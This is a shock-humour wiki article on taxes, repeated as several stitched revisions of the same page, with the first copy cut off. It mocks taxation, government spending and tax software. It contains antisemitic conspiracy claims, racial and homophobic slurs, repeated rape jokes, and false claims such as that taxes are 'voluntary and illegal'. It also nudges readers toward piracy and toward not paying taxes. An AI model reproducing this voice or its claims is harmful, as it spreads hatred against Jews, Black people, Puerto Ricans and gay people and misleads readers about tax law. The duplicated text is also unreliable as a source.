<center>'''You don't have to pay taxes because they are voluntary and illegal!!!'''</center> 

<center><youtube>R7mRSI8yWwg</youtube><youtube>W5UcPeSb8kg</youtube></center> 

<center>'''Typical family preparing a tax return while some whore does taxes in her bikini'''</center> 

<center><youtube>jr2DO_DMUfM</youtube><youtube>xttlLihWsfg</youtube></center>

== Gallery of Raep ==

<center>
<gallery>
Image:Rape10.png|The Government is ever the opportunist.
Image:Rape11.jpg|Another lax taxpayer.
Image:Rape13.jpg|These girls are paying the only way they know how
Image:Tax15.jpg|Typical
Image:Tax16.jpg|Taxation at gunpoint
Image:Tax18.jpg|Taxes go to publicly funded schools...oh shi-
Image:Tax20.jpg|Wont you please think of the needy?
Image:Tax21.gif|IRS meeting
Image:Tax22.jpg|Seen on Tax assessor's desk
Image:Tax5.jpg|Typical IRS home visit
Image:Tax9.jpg|It must be April 16th
Image:Tax7.jpg|He didn't file on time
Image:tax form.jpg|Simplified Taxation Form
</gallery>
</center>

== See Also ==

*[[Rape|This is a given]]
*[[Buttsecks|This is also a given]]
*[[Rape Checklist|Want to work for the IRS? Here is a checklist!]]
*[[Goatse|April 15th EVERY year]]
*[[Libertarianism]]

== External Links ==

* [http://www.cagw.org/site/PageServer?pagename=reports_porkbarrelreport/ Taxpayer Watchdog]
* [http://www.irs.gov/ THE man]
* [http://www4.law.cornell.edu/uscode/26/ Tax Code - explains how and why rape occurs]

{{Jews}}
{{politics}}
{{timeline|Featured article October 3 & 4, [[2016]]|[[BeCandid]]|{{PAGENAME}}|[[Misha Silenosti]]}}
[[Category:Faggotry]]
[[Category:Jews]]

Taxes

2026-07-27T01:08:18Z

SmidgeX2:

{{Spoiler|[[BAWWW|TACKSEZ ARE TEH GUVERMINTS STEALING FROM YOU!!!]]}}
{{withjews}}

[[Image:Tax14.jpg|thumb|175px|Preparing for the Rape to come.]]

'''Taxes''' are a ransom thrown at you, created and designed by the Jews to support [[Dan Bailey|infrastructure projects]], [[Government|government agencies]], and [[Nigra|negros]]. Taxes penalize those who work by taking their stuff and giving it to people who don’t work. Taxes, along with [[Death]] are the only two certainties in life, unless you are [[gay]] which means that the third certainty of life is [[AIDS]] and is a precursor to [[Death]].

== Definition ==

'''Taxes'''

* Pronunciation:

('''tæk sez''')

* As a noun:
# Removal of charity by gunpoint.
# Where the government takes your money to perform a duty you should have done anyways. Once the government has the money, the duty is not performed, or performed unsatisfactorily.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Whenever I see lazy Puerto Ricans I think of how my '''''taxes''''' paid for their health care and welfare.}}

* As a verb:
# To drain.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Just thinking about the 1040 forum '''''taxes''''' my constitution.}}

== History ==

[[Image:Rape12.jpg|thumb|175px|Romans were known to be excellent tax collectors]]
[[Image:Tax6.jpg|thumb|175px|It must be April 15th]]

{{quote| In this world nothing is certain but [[death]] and taxes|that dude on that 100 dollar thing}}

'''To Tax''' comes from the [[Latin]] root word '''''“tangere”''''' which means to [[Buttsecks|anally rape]] with a chainsaw. Nobody is quite sure who started this form of [[Theft|theft,]] but many scholars believe that taxes were initially invented by the [[Egypt|Egyptians]] around [[Last Thursday|3000 BC.]] It went something like this:

*''' Pharaoh needs new pyramid or monument built.'''

*''' Pharaoh sends out his [[Slavery|minions]] to collect money for monument.'''

*''' Pharaoh’s subjects give money to the minions. Those who refuse to pay are beaten and robbed anyways. Those without anything to give are either placed in [[Prison|prison]] or made into [[BDSM|slaves.]] Not all taxes, especially back then, were in the form of money, mostly it was in the form of grain, farm animals, or [[Fellatio|blow jobs.]]'''

*''' Pharaoh combines all of the [[Looting|loot]] into a big pile, takes his cut, then shares it out amongst his friends. Some of the [[Booty|booty]] is used to make the pyramid.'''

== Purpose ==

{{quote|When there's a single thief, it's robbery. When there are a thousand thieves, it's taxation.|Old, but wise saying}}

Taxation has four main purposes, these are [[Rape|Revenue,]] [[Rape|Redistribution,]] [[Rape|Repricing,]] and [[Rape|Representation.]] None of these purposes matter much considering the fact that all of it is [[Communism|redistributed]] to some non-working fuck who lays around on his couch watching television all day on your dime.

There are [[Suck ups|those,]] who have been [[brainwashed|convinced]] to the point where they find paying taxes as a moral obligation to live in society implying that [[childbirth|everyone had the choice to live in society]]. (FUN FACT: America didn't always have direct taxation.) In fact, Americans have been so brainwashed to the point that if anyone questions the way of taxation, these [[Retard|tax-lovers]] will get so [[butthurt|pissed off]] that they'll scream and tell the questioner to leave and go to Somalia. (ANOTHER FUN FACT: [[Hypocrites|these people]] never left the US themselves.) Americans believe that [[Lies|tax-evaders are worse than terrorists.]] (YET ANOTHER FUN FACT: The Founding Fathers were tax-evaders.) Speaking against taxation in America is like calling [[Muhammad]] a pig-fucker in Mecca.

== Types of Taxation ==

[[Image:Tax2.jpg|thumb|175px|1040 form. America's favorite dildo when rolled up.]]
[[Image:Tax3.JPG|thumb|175px|1040EZ form. Its for those who are poor and want money back.]]

{{quote|Taxation with representation ain't so hot either.|Another wise old saying.}}

There are two main types of taxation. One is direct tax, which means you have to pay a set amount every year. The other type of taxation is indirect tax, which is when they rape you when you go to buy a [[Smoking|pack of cigarettes.]]

[[Rape|In fact, there really aren't two different types of tax and this whole page should just re-direct to rape anyways, because that is what taxes are. Rape.]]

== How Taxes Affect You ==
[[Image:penny.jpg|thumb|175px|couple hundred more of these and I can get a beavertail]]
[[Image:Stephenharper 5percent.jpeg|thumb|175px|HOLY SHIT!!!111!!! you are god!]]
[[Image:Tax17.jpg|thumb|175px|Welfare mothers, angry about tax cuts]]
[[Image:Tax4.jpg|thumb|175px|Americans spend 4 months of the year earning money to pay taxes...and 4 months of looking at this guy.]]

{{quote|The taxpayer - that's someone who works for the federal government but doesn't have to take the civil service examination.|Ronald Reagan - noted tax expert}}

Since you are the [[Poor|low man on the taxation totem pole,]] you, and your peers, are the only ones who are effected by taxation. When a tax is levied against a [[Business|business,]] they just [[Inflation art|raise]] their pricing to defer the money that they are losing. If that does not work and the company is still not making money, they then go and lower the amount of money they pay out to their employees. Finally, if that still doesn’t work, the employer will lower the benefits that employees receive to further cut their tax cost.

[[Bum|Even if you do not work,]] this still effects you. Since you have to go out and buy products or services, now you have to deal with the employees of taxed companies. Since they are pretty much [[Anger|pissed off]] about their lack of wages and benefits, you get shitty service and higher prices.

If, you happen to be lucky enough to be [[Money#Riches|rich,]] you support [[Teenmommies|everybody.]], and your [[Tony_Blair|leader]] who claims to support the working class like a good left-winger can buy his third house.

== How Elected Officials Use Tax Money ==
[[Image:Tax19.jpg|thumb|175px|Average receipent of a tax refund]]
Contrary to popular belief, only 00.000000000000001% of the money that is stolen from you goes to benefit your country/state/city/region/etc. The rest of the 99.999999999999999% goes to shit like,

* '''[[Prostitute|Hookers]]'''
* '''[[Cocaine#Cocaine|Blow]]'''
* '''[[Hookers and blow|Hookers and Blow]]'''
*'''[[1984|Enforcement of Wrongthink]]'''
*'''[[Mind control]]
*'''[[Shit|Useless AI datacenters]]'''
* '''[[Las Vegas]]'''
* '''[[Hell|Mass Surveillance]]'''
*'''[[Pedophilia]]'''(Yes, there are taxpayer funded cameras that [[sick fucks]] use to watch kids)
*'''[[Cop|Pigs beating the shit out of people]]
*'''[[Lies|Propaganda]]'''
*'''[[Porn|Mercenary Spyware]]'''
* '''[[JEWS DID WTC|Private Jet''']]
* '''[[Cock|Pork.]]'''
* '''[[Bill Clinton|Employing their deadbeat brother]]'''
* '''[[Britain|Housing, feeding and educating every Third World wog and nigger.]]'''
* '''[[Japan|And of course, Nukes... shitloads of Nukes.]]'''

== Taxes in [[Canada]] ==

In the great land of [[Canada]], [[shit nobody cares about|the two types of taxes are the goods and services tax (gst) plus the provincial sales tax (pst), combined into the wonder all in one Harmonized sales tax( Hst).]] For years the rate for the gst was a standard 7% , but then cowboy harper stepped in and lowered it to 6% and then 5%. MOST people would be happy over this, however since the change, the rate for New Brunswick went from 15% to 13%, making use of millions of more pennies every year and pissing off people when they empty out their pockets. Thanks

== Ethical Basis for Taxes ==

[[Image:Tax1.gif|thumb|175px|Infrustructure!!!]]
[[Image:Tax8.jpg|thumb|175px|Page 1345 of the United States Tax Code - Explaining how to deal with delinquent taxpayers.]]

{{quote|Did you ever notice that when you put the words "The" and "IRS" together, it spells "THEIRS?"|Yet another wise old saying}}

The [[Jews|people]] who [[Evil|make up the tax laws]] and then carry them out make a case that taxes are ethical as [[bullshit|they are used for the public good]].

'''Examples of how some of the 2008 Tax Monies are being used:'''

*[[Bridge to Nowhere]], Alaska: 2 million dollars

*Big Dig Project, [[Massachusetts]]: 14.6 billion dollars to build a 3.5 mile tunnel

*7.5 million dollars spent on [[Alcohol|wine]] research

*5.5 million for people to visit farms in [[Ohio]]. Was termed “Innovative Food Technology”

*14 million dollars to research pasture land in [[Mormon|Utah]]

*4.6 million dollars to “increase the public image of [[Alcohol|beer”]] by the National Hops Institute

*1.7 million dollars given to the Ben Franklin Turkey fund…they still want to make the national bird the [[Turkey]] and get rid of the Bald Eagle.

== Tax Software ==

{{quote|I have been really sick. When turbo tax sent my 3rd rejection notice I just sat and cried, not only about the money I lost but I could not get any help from anyone.|Merl of Ainsworth NE}}

There are [[Almost raped|many ways to file taxes]] via the [[Internets|internet]] or by using various [[Warez|software.]] However, when the United States Secretary of the Treasury, [http://en.wikipedia.org/wiki/Timothy_F._Geithner#Tax_problems/ Tim Geitner,] cannot file his own taxes with TurboTax, and even ends up under investigation, you can see how [[:File:Helpful_cat.jpg|helpful]] these programs and websites actually are to the [[Fucktard|average taxpayer.]]

'''Here is a list of popular tax software websites that look like they were designed by the same people who make porn websites. On these links, you will be able to [[Pirate Bay|find tax software to do your taxes.]]''' <---or you could just click that link, hint hint.

*'''[http://turbotax.intuit.com/ TurboTax is probably the most popular, and most problematic.]'''
*'''[http://www.hrblock.com/ HR Block's website...where you are greeted with a happy, smiling face...as they rip you off.]'''
*'''[http://www.taxact.com/ TaxAct, where you can e-file for free...what they don't tell you is that it works only half the time.]'''
*'''[http://www.taxslayer.com/ TAX SLAYER ROCK ON!!!]'''
*'''[http://www.taxbrain.com/ TaxBrain - which is the most expensive of all of the e-filers, and it gets the second worse grade.]'''

While all of these programs do [[Redundant|just about the same thing,]] they are all prone to their own foibles. Sometimes the user is better off just not paying their taxes at all rather than to put up with the hoops they have to jump through.

'''Here are some negative testimonials:'''

{{squote|Turbo Tax has advertised $29.95 to file state, I filed both Fed and State, was returned twice with no reason, I submtted it a 3rd time, was approved, but than I charged additional $34.95 for re filing. I never changed anything the 4 times it was submitted.|Jaime commenting on TurboTax}}

{{squote|I paid $59.95 for the Deluxe verion with free efile. Sure, the efile was free but they charged me $29.95 to process my refund through Santa Barbara Bank!|Dorothy, commenting on TurboTax}}

{{squote|the worse part about turbo tax is that there is no way to get in contact with them. no number to call reach a person to to talk to or anything, to me that is messed up. i have to mail all of my paperwork to the IRS even though i had already paid turbo tax my fee for using their services.|Jeymi, another disgruntled user}}

{{squote|DO NOT USE TURBO TAX ONLINE! I am VERY disenchanted with this service. The free e-filing isn't free!! I feel as though I've been nickeled and dimed by this company.|Amanda, who filed online}}

{{squote|I spent $50 for a product that doesn't work.|David, who, despite being cool, doesn't use TAX SLAYER any more}}

== Taxes Around the Internet ==

There are several web [[Forum|messageboards]] dedicated to helping taxpayers and to giving out free information regarding tax laws. The main problem with this is that [[Idiot|anybody]] can jump online at the local library and ask the most idiotic questions imaginable. Here are some of those web messageboards:

*[http://www.thetaxbook.com/forums/forumdisplay.php?f=2/ Some Jews]
*[http://community.lawyers.com/messageboards/board.asp?channelId=19&mbId=43/ MOAR Jews]
*[http://messageboards.aol.com/aol/en_us/boards.php?boardId=538396&func=2&channel=Personal+Finance/ AOL's Tax Q&A board]

== Gallery of Stupid Questions ==

It is astounding what [[Liar|people think they can get away with.]] Also, it is quite amazing that grown adults still think of the government as [[Friend|"a friend."]]

<center>
<gallery>
Image:Tax30.jpg|Wake up honey
Image:Tax31.jpg|I AM USING [[ALL CAPS|CAPS LOCK]] BECAUSE MY SHIFT BUTTON IS BROKEN
Image:Tax32.jpg|Yes, in the wonderful and magical land of [[Minnesota]], you can deduct dance classes...
Image:Tax33.jpg|How do I shot taxes?
Image:Tax34.jpg|You can claim whatever you want, what the IRS choose to let you actually use is a different story.
Image:Tax35.jpg|Welcome to the IRS, is this your first time?
Image:Tax36.jpg|This guy is lucky there is no such thing as Debtor's Prison
Image:Tax37.jpg|Same with this guy
Image:Tax38.jpg|One hand is not watching what the other hand is doing
Image:Tax39.jpg|Fishing is taxable?!?!?!!?
Image:Tax40.jpg|Even amid the desparate battle, these two have managed to find love
Image:Bob-and-doug-mckenzie.jpg|They have taxes, too!
</gallery>
</center>

== How taxation helps you ==
[[File:Tumbleweed.gif]]

== Video ==

<center>'''You don't have to pay taxes because they are voluntary and illegal!!!'''</center> 

<center><youtube>R7mRSI8yWwg</youtube><youtube>W5UcPeSb8kg</youtube></center> 

<center>'''Typical family preparing a tax return while some whore does taxes in her bikini'''</center> 

<center><youtube>jr2DO_DMUfM</youtube><youtube>xttlLihWsfg</youtube></center>

== Gallery of Raep ==

<center>
<gallery>
Image:Rape10.png|The Government is ever the opportunist.
Image:Rape11.jpg|Another lax taxpayer.
Image:Rape13.jpg|These girls are paying the only way they know how
Image:Tax15.jpg|Typical
Image:Tax16.jpg|Taxation at gunpoint
Image:Tax18.jpg|Taxes go to publicly funded schools...oh shi-
Image:Tax20.jpg|Wont you please think of the needy?
Image:Tax21.gif|IRS meeting
Image:Tax22.jpg|Seen on Tax assessor's desk
Image:Tax5.jpg|Typical IRS home visit
Image:Tax9.jpg|It must be April 16th
Image:Tax7.jpg|He didn't file on time
Image:tax form.jpg|Simplified Taxation Form
</gallery>
</center>

== See Also ==

*[[Rape|This is a given]]
*[[Buttsecks|This is also a given]]
*[[Rape Checklist|Want to work for the IRS? Here is a checklist!]]
*[[Goatse|April 15th EVERY year]]
*[[Libertarianism]]

== External Links ==

* [http://www.cagw.org/site/PageServer?pagename=reports_porkbarrelreport/ Taxpayer Watchdog]
* [http://www.irs.gov/ THE man]
* [http://www4.law.cornell.edu/uscode/26/ Tax Code - explains how and why rape occurs]

{{politics}}
{{timeline|Featured article October 3 & 4, [[2016]]|[[BeCandid]]|{{PAGENAME}}|[[Misha Silenosti]]}}
[[Category:Faggotry]]
[[Category:Jews]]

Taxes

2026-07-27T00:52:25Z

SmidgeX2:

{{Spoiler|[[BAWWW|TACKSEZ ARE TEH GUVERMINTS STEALING FROM YOU!!!]]}}

[[Image:Tax14.jpg|thumb|175px|Preparing for the Rape to come.]]

'''Taxes''' are a ransom thrown at you, created and designed by the Jews to support [[Dan Bailey|infrastructure projects]], [[Government|government agencies]], and [[Nigra|negros]]. Taxes penalize those who work by taking their stuff and giving it to people who don’t work. Taxes, along with [[Death]] are the only two certainties in life, unless you are [[gay]] which means that the third certainty of life is [[AIDS]] and is a precursor to [[Death]].

== Definition ==

'''Taxes'''

* Pronunciation:

('''tæk sez''')

* As a noun:
# Removal of charity by gunpoint.
# Where the government takes your money to perform a duty you should have done anyways. Once the government has the money, the duty is not performed, or performed unsatisfactorily.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Whenever I see lazy Puerto Ricans I think of how my '''''taxes''''' paid for their health care and welfare.}}

* As a verb:
# To drain.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Just thinking about the 1040 forum '''''taxes''''' my constitution.}}

== History ==

[[Image:Rape12.jpg|thumb|175px|Romans were known to be excellent tax collectors]]
[[Image:Tax6.jpg|thumb|175px|It must be April 15th]]

{{quote| In this world nothing is certain but [[death]] and taxes|that dude on that 100 dollar thing}}

'''To Tax''' comes from the [[Latin]] root word '''''“tangere”''''' which means to [[Buttsecks|anally rape]] with a chainsaw. Nobody is quite sure who started this form of [[Theft|theft,]] but many scholars believe that taxes were initially invented by the [[Egypt|Egyptians]] around [[Last Thursday|3000 BC.]] It went something like this:

*''' Pharaoh needs new pyramid or monument built.'''

*''' Pharaoh sends out his [[Slavery|minions]] to collect money for monument.'''

*''' Pharaoh’s subjects give money to the minions. Those who refuse to pay are beaten and robbed anyways. Those without anything to give are either placed in [[Prison|prison]] or made into [[BDSM|slaves.]] Not all taxes, especially back then, were in the form of money, mostly it was in the form of grain, farm animals, or [[Fellatio|blow jobs.]]'''

*''' Pharaoh combines all of the [[Looting|loot]] into a big pile, takes his cut, then shares it out amongst his friends. Some of the [[Booty|booty]] is used to make the pyramid.'''

== Purpose ==

{{quote|When there's a single thief, it's robbery. When there are a thousand thieves, it's taxation.|Old, but wise saying}}

Taxation has four main purposes, these are [[Rape|Revenue,]] [[Rape|Redistribution,]] [[Rape|Repricing,]] and [[Rape|Representation.]] None of these purposes matter much considering the fact that all of it is [[Communism|redistributed]] to some non-working fuck who lays around on his couch watching television all day on your dime.

There are [[Suck ups|those,]] who have been [[brainwashed|convinced]] to the point where they find paying taxes as a moral obligation to live in society implying that [[childbirth|everyone had the choice to live in society]]. (FUN FACT: America didn't always have direct taxation.) In fact, Americans have been so brainwashed to the point that if anyone questions the way of taxation, these [[Retard|tax-lovers]] will get so [[butthurt|pissed off]] that they'll scream and tell the questioner to leave and go to Somalia. (ANOTHER FUN FACT: [[Hypocrites|these people]] never left the US themselves.) Americans believe that [[Lies|tax-evaders are worse than terrorists.]] (YET ANOTHER FUN FACT: The Founding Fathers were tax-evaders.) Speaking against taxation in America is like calling [[Muhammad]] a pig-fucker in Mecca.

== Types of Taxation ==

[[Image:Tax2.jpg|thumb|175px|1040 form. America's favorite dildo when rolled up.]]
[[Image:Tax3.JPG|thumb|175px|1040EZ form. Its for those who are poor and want money back.]]

{{quote|Taxation with representation ain't so hot either.|Another wise old saying.}}

There are two main types of taxation. One is direct tax, which means you have to pay a set amount every year. The other type of taxation is indirect tax, which is when they rape you when you go to buy a [[Smoking|pack of cigarettes.]]

[[Rape|In fact, there really aren't two different types of tax and this whole page should just re-direct to rape anyways, because that is what taxes are. Rape.]]

== How Taxes Affect You ==
[[Image:penny.jpg|thumb|175px|couple hundred more of these and I can get a beavertail]]
[[Image:Stephenharper 5percent.jpeg|thumb|175px|HOLY SHIT!!!111!!! you are god!]]
[[Image:Tax17.jpg|thumb|175px|Welfare mothers, angry about tax cuts]]
[[Image:Tax4.jpg|thumb|175px|Americans spend 4 months of the year earning money to pay taxes...and 4 months of looking at this guy.]]

{{quote|The taxpayer - that's someone who works for the federal government but doesn't have to take the civil service examination.|Ronald Reagan - noted tax expert}}

Since you are the [[Poor|low man on the taxation totem pole,]] you, and your peers, are the only ones who are effected by taxation. When a tax is levied against a [[Business|business,]] they just [[Inflation art|raise]] their pricing to defer the money that they are losing. If that does not work and the company is still not making money, they then go and lower the amount of money they pay out to their employees. Finally, if that still doesn’t work, the employer will lower the benefits that employees receive to further cut their tax cost.

[[Bum|Even if you do not work,]] this still effects you. Since you have to go out and buy products or services, now you have to deal with the employees of taxed companies. Since they are pretty much [[Anger|pissed off]] about their lack of wages and benefits, you get shitty service and higher prices.

If, you happen to be lucky enough to be [[Money#Riches|rich,]] you support [[Teenmommies|everybody.]], and your [[Tony_Blair|leader]] who claims to support the working class like a good left-winger can buy his third house.

== How Elected Officials Use Tax Money ==
[[Image:Tax19.jpg|thumb|175px|Average receipent of a tax refund]]
Contrary to popular belief, only 00.000000000000001% of the money that is stolen from you goes to benefit your country/state/city/region/etc. The rest of the 99.999999999999999% goes to shit like,

* '''[[Prostitute|Hookers]]'''
* '''[[Cocaine#Cocaine|Blow]]'''
* '''[[Hookers and blow|Hookers and Blow]]'''
*'''[[1984|Enforcement of Wrongthink]]'''
*'''[[Mind control]]
*'''[[Shit|Useless AI datacenters]]'''
* '''[[Las Vegas]]'''
* '''[[Hell|Mass Surveillance]]'''
*'''[[Pedophilia]]'''(Yes, there are taxpayer funded cameras that [[sick fucks]] use to watch kids)
*'''[[Cop|Pigs beating the shit out of people]]
*'''[[Lies|Propaganda]]'''
*'''[[Porn|Mercenary Spyware]]'''
* '''[[JEWS DID WTC|Private Jet''']]
* '''[[Cock|Pork.]]'''
* '''[[Bill Clinton|Employing their deadbeat brother]]'''
* '''[[Britain|Housing, feeding and educating every Third World wog and nigger.]]'''
* '''[[Japan|And of course, Nukes... shitloads of Nukes.]]'''

== Taxes in [[Canada]] ==

In the great land of [[Canada]], [[shit nobody cares about|the two types of taxes are the goods and services tax (gst) plus the provincial sales tax (pst), combined into the wonder all in one Harmonized sales tax( Hst).]] For years the rate for the gst was a standard 7% , but then cowboy harper stepped in and lowered it to 6% and then 5%. MOST people would be happy over this, however since the change, the rate for New Brunswick went from 15% to 13%, making use of millions of more pennies every year and pissing off people when they empty out their pockets. Thanks

== Ethical Basis for Taxes ==

[[Image:Tax1.gif|thumb|175px|Infrustructure!!!]]
[[Image:Tax8.jpg|thumb|175px|Page 1345 of the United States Tax Code - Explaining how to deal with delinquent taxpayers.]]

{{quote|Did you ever notice that when you put the words "The" and "IRS" together, it spells "THEIRS?"|Yet another wise old saying}}

The [[Jews|people]] who [[Evil|make up the tax laws]] and then carry them out make a case that taxes are ethical as [[bullshit|they are used for the public good]].

'''Examples of how some of the 2008 Tax Monies are being used:'''

*[[Bridge to Nowhere]], Alaska: 2 million dollars

*Big Dig Project, [[Massachusetts]]: 14.6 billion dollars to build a 3.5 mile tunnel

*7.5 million dollars spent on [[Alcohol|wine]] research

*5.5 million for people to visit farms in [[Ohio]]. Was termed “Innovative Food Technology”

*14 million dollars to research pasture land in [[Mormon|Utah]]

*4.6 million dollars to “increase the public image of [[Alcohol|beer”]] by the National Hops Institute

*1.7 million dollars given to the Ben Franklin Turkey fund…they still want to make the national bird the [[Turkey]] and get rid of the Bald Eagle.

== Tax Software ==

{{quote|I have been really sick. When turbo tax sent my 3rd rejection notice I just sat and cried, not only about the money I lost but I could not get any help from anyone.|Merl of Ainsworth NE}}

There are [[Almost raped|many ways to file taxes]] via the [[Internets|internet]] or by using various [[Warez|software.]] However, when the United States Secretary of the Treasury, [http://en.wikipedia.org/wiki/Timothy_F._Geithner#Tax_problems/ Tim Geitner,] cannot file his own taxes with TurboTax, and even ends up under investigation, you can see how [[:File:Helpful_cat.jpg|helpful]] these programs and websites actually are to the [[Fucktard|average taxpayer.]]

'''Here is a list of popular tax software websites that look like they were designed by the same people who make porn websites. On these links, you will be able to [[Pirate Bay|find tax software to do your taxes.]]''' <---or you could just click that link, hint hint.

*'''[http://turbotax.intuit.com/ TurboTax is probably the most popular, and most problematic.]'''
*'''[http://www.hrblock.com/ HR Block's website...where you are greeted with a happy, smiling face...as they rip you off.]'''
*'''[http://www.taxact.com/ TaxAct, where you can e-file for free...what they don't tell you is that it works only half the time.]'''
*'''[http://www.taxslayer.com/ TAX SLAYER ROCK ON!!!]'''
*'''[http://www.taxbrain.com/ TaxBrain - which is the most expensive of all of the e-filers, and it gets the second worse grade.]'''

While all of these programs do [[Redundant|just about the same thing,]] they are all prone to their own foibles. Sometimes the user is better off just not paying their taxes at all rather than to put up with the hoops they have to jump through.

'''Here are some negative testimonials:'''

{{squote|Turbo Tax has advertised $29.95 to file state, I filed both Fed and State, was returned twice with no reason, I submtted it a 3rd time, was approved, but than I charged additional $34.95 for re filing. I never changed anything the 4 times it was submitted.|Jaime commenting on TurboTax}}

{{squote|I paid $59.95 for the Deluxe verion with free efile. Sure, the efile was free but they charged me $29.95 to process my refund through Santa Barbara Bank!|Dorothy, commenting on TurboTax}}

{{squote|the worse part about turbo tax is that there is no way to get in contact with them. no number to call reach a person to to talk to or anything, to me that is messed up. i have to mail all of my paperwork to the IRS even though i had already paid turbo tax my fee for using their services.|Jeymi, another disgruntled user}}

{{squote|DO NOT USE TURBO TAX ONLINE! I am VERY disenchanted with this service. The free e-filing isn't free!! I feel as though I've been nickeled and dimed by this company.|Amanda, who filed online}}

{{squote|I spent $50 for a product that doesn't work.|David, who, despite being cool, doesn't use TAX SLAYER any more}}

== Taxes Around the Internet ==

There are several web [[Forum|messageboards]] dedicated to helping taxpayers and to giving out free information regarding tax laws. The main problem with this is that [[Idiot|anybody]] can jump online at the local library and ask the most idiotic questions imaginable. Here are some of those web messageboards:

*[http://www.thetaxbook.com/forums/forumdisplay.php?f=2/ Some Jews]
*[http://community.lawyers.com/messageboards/board.asp?channelId=19&mbId=43/ MOAR Jews]
*[http://messageboards.aol.com/aol/en_us/boards.php?boardId=538396&func=2&channel=Personal+Finance/ AOL's Tax Q&A board]

== Gallery of Stupid Questions ==

It is astounding what [[Liar|people think they can get away with.]] Also, it is quite amazing that grown adults still think of the government as [[Friend|"a friend."]]

<center>
<gallery>
Image:Tax30.jpg|Wake up honey
Image:Tax31.jpg|I AM USING [[ALL CAPS|CAPS LOCK]] BECAUSE MY SHIFT BUTTON IS BROKEN
Image:Tax32.jpg|Yes, in the wonderful and magical land of [[Minnesota]], you can deduct dance classes...
Image:Tax33.jpg|How do I shot taxes?
Image:Tax34.jpg|You can claim whatever you want, what the IRS choose to let you actually use is a different story.
Image:Tax35.jpg|Welcome to the IRS, is this your first time?
Image:Tax36.jpg|This guy is lucky there is no such thing as Debtor's Prison
Image:Tax37.jpg|Same with this guy
Image:Tax38.jpg|One hand is not watching what the other hand is doing
Image:Tax39.jpg|Fishing is taxable?!?!?!!?
Image:Tax40.jpg|Even amid the desparate battle, these two have managed to find love
Image:Bob-and-doug-mckenzie.jpg|They have taxes, too!
</gallery>
</center>

== How taxation helps you ==
[[File:Tumbleweed.gif]]

== Video ==

<center>'''You don't have to pay taxes because they are voluntary and illegal!!!'''</center> 

<center><youtube>R7mRSI8yWwg</youtube><youtube>W5UcPeSb8kg</youtube></center> 

<center>'''Typical family preparing a tax return while some whore does taxes in her bikini'''</center> 

<center><youtube>jr2DO_DMUfM</youtube><youtube>xttlLihWsfg</youtube></center>

== Gallery of Raep ==

<center>
<gallery>
Image:Rape10.png|The Government is ever the opportunist.
Image:Rape11.jpg|Another lax taxpayer.
Image:Rape13.jpg|These girls are paying the only way they know how
Image:Tax15.jpg|Typical
Image:Tax16.jpg|Taxation at gunpoint
Image:Tax18.jpg|Taxes go to publicly funded schools...oh shi-
Image:Tax20.jpg|Wont you please think of the needy?
Image:Tax21.gif|IRS meeting
Image:Tax22.jpg|Seen on Tax assessor's desk
Image:Tax5.jpg|Typical IRS home visit
Image:Tax9.jpg|It must be April 16th
Image:Tax7.jpg|He didn't file on time
Image:tax form.jpg|Simplified Taxation Form
</gallery>
</center>

== See Also ==

*[[Rape|This is a given]]
*[[Buttsecks|This is also a given]]
*[[Rape Checklist|Want to work for the IRS? Here is a checklist!]]
*[[Goatse|April 15th EVERY year]]
*[[Libertarianism]]

== External Links ==

* [http://www.cagw.org/site/PageServer?pagename=reports_porkbarrelreport/ Taxpayer Watchdog]
* [http://www.irs.gov/ THE man]
* [http://www4.law.cornell.edu/uscode/26/ Tax Code - explains how and why rape occurs]

{{politics}}
{{timeline|Featured article October 3 & 4, [[2016]]|[[BeCandid]]|{{PAGENAME}}|[[Misha Silenosti]]}}
[[Category:Faggotry]]

Taxes

2026-07-27T00:48:36Z

SmidgeX2:

{{Spoiler|[[BAWWW|TACKSEZ ARE TEH GUVERMINTS STEALING FROM YOU!!!]]}}

[[Image:Tax14.jpg|thumb|175px|Preparing for the Rape to come.]]

'''Taxes''' are a ransom thrown at you, created and designed by the Jews to support [[Dan Bailey|infrastructure projects]], [[Government|government agencies]], and [[Nigra|negros]]. Taxes penalize those who work by taking their stuff and giving it to people who don’t work. Taxes, along with [[Death]] are the only two certainties in life, unless you are [[gay]] which means that the third certainty of life is [[AIDS]] and is a precursor to [[Death]].

== Definition ==

'''Taxes'''

* Pronunciation:

('''tæk sez''')

* As a noun:
# Removal of charity by gunpoint.
# Where the government takes your money to perform a duty you should have done anyways. Once the government has the money, the duty is not performed, or performed unsatisfactorily.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Whenever I see lazy Puerto Ricans I think of how my '''''taxes''''' paid for their health care and welfare.}}

* As a verb:
# To drain.

Use '''''taxes''''' in a Sentence:

{{colortext|blue|Just thinking about the 1040 forum '''''taxes''''' my constitution.}}

== History ==

[[Image:Rape12.jpg|thumb|175px|Romans were known to be excellent tax collectors]]
[[Image:Tax6.jpg|thumb|175px|It must be April 15th]]

{{quote| In this world nothing is certain but [[death]] and taxes|that dude on that 100 dollar thing}}

'''To Tax''' comes from the [[Latin]] root word '''''“tangere”''''' which means to [[Buttsecks|anally rape]] with a chainsaw. Nobody is quite sure who started this form of [[Theft|theft,]] but many scholars believe that taxes were initially invented by the [[Egypt|Egyptians]] around [[Last Thursday|3000 BC.]] It went something like this:

*''' Pharaoh needs new pyramid or monument built.'''

*''' Pharaoh sends out his [[Slavery|minions]] to collect money for monument.'''

*''' Pharaoh’s subjects give money to the minions. Those who refuse to pay are beaten and robbed anyways. Those without anything to give are either placed in [[Prison|prison]] or made into [[BDSM|slaves.]] Not all taxes, especially back then, were in the form of money, mostly it was in the form of grain, farm animals, or [[Fellatio|blow jobs.]]'''

*''' Pharaoh combines all of the [[Looting|loot]] into a big pile, takes his cut, then shares it out amongst his friends. Some of the [[Booty|booty]] is used to make the pyramid.'''

== Purpose ==

{{quote|When there's a single thief, it's robbery. When there are a thousand thieves, it's taxation.|Old, but wise saying}}

Taxation has four main purposes, these are [[Rape|Revenue,]] [[Rape|Redistribution,]] [[Rape|Repricing,]] and [[Rape|Representation.]] None of these purposes matter much considering the fact that all of it is [[Communism|redistributed]] to some non-working fuck who lays around on his couch watching television all day on your dime.

